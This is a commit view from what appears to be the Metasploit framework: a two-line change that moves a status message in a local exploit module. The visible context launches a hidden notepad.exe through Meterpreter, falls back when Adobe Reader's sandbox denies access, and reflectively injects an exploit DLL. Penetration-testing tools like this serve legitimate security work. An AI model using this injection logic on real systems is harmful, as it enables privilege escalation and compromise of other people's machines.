Fixing messages

bug/bundler_fix
jvazquez-r7 2014-02-10 13:10:42 -06:00
parent 541bb6134e
commit abb03d0bbe
1 changed files with 2 additions and 1 deletions

View File

@ -101,12 +101,13 @@ class Metasploit3 < Msf::Exploit::Local
notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status("Operation failed. Trying to elevate the current process...")
process = client.sys.process.open
end
print_good("Process #{process.pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",